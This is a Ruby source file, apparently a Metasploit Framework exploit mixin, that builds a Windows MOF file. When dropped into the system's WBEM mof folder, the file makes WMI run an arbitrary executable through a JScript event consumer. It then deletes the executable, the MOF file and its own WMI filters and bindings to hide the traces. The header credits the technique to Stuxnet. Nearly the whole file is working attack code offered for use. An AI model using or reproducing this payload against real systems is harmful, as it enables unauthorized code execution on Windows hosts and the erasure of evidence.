# -*- coding: binary -*-

#
# This mixin enables executing arbitrary commands via the
# Windows Management Instrumentation service.
#
# By writing the output of these methods to %SystemRoot%\system32\WBEM\mof,
# your command line will be executed.
#
# This technique was used as part of Stuxnet and further reverse engineered
# to this form by Ivanlef0u and jduck.
#

module Msf
module Exploit::WbemExec

def generate_mof(mofname, exe)

  classname = rand(0xffff).to_s

  # From Ivan's decompressed version
  mof = <<-EOT
#pragma namespace("\\\\\\\\.\\\\root\\\\cimv2")
class MyClass@CLASS@
{
  	[key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
 	[key] string Name;
  	[not_null] string ScriptingEngine;
  	string ScriptFileName;
  	[template] string ScriptText;
  uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\\ntry {var s = new ActiveXObject(\\"Wscript.Shell\\");\\ns.Run(\\"@EXE@\\");} catch (err) {};\\nsv = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");try {sv.Delete(\\"MyClass@CLASS@\\");} catch (err) {};try {sv.Delete(\\"__EventFilter.Name='instfilt'\\");} catch (err) {};try {sv.Delete(\\"ActiveScriptEventConsumer.Name='ASEC'\\");} catch(err) {};";

};
Instance of ActiveScriptEventConsumer as $cons2
{
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\\nvar objfs = new ActiveXObject(\\"Scripting.FileSystemObject\\");\\ntry {var f1 = objfs.GetFile(\\"wbem\\\\\\\\mof\\\\\\\\good\\\\\\\\#{mofname}\\");\\nf1.Delete(true);} catch(err) {};\\ntry {\\nvar f2 = objfs.GetFile(\\"@EXE@\\");\\nf2.Delete(true);\\nvar s = GetObject(\\"winmgmts:root\\\\\\\\cimv2\\");s.Delete(\\"__EventFilter.Name='qndfilt'\\");s.Delete(\\"ActiveScriptEventConsumer.Name='qndASEC'\\");\\n} catch(err) {};";
};
instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \\"MyClass@CLASS@\\"";
  QueryLanguage = "WQL";
};
instance of __EventFilter as $Filt2
{
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \\"Win32_Process\\" AND TargetInstance.Name = \\"@EXE@\\"";
  QueryLanguage = "WQL";

};
instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};
instance of __FilterToConsumerBinding as $bind2
{
  Consumer = $cons2;
  Filter = $Filt2;
};
instance of MyClass@CLASS@ as $MyClass
{
  Name = "ClassConsumer";
};
EOT

  # Replace the input vars
  mof.gsub!(/@CLASS@/, classname)
  mof.gsub!(/@EXE@/, exe)  # NOTE: \ and " should be escaped

  mof
end

end
end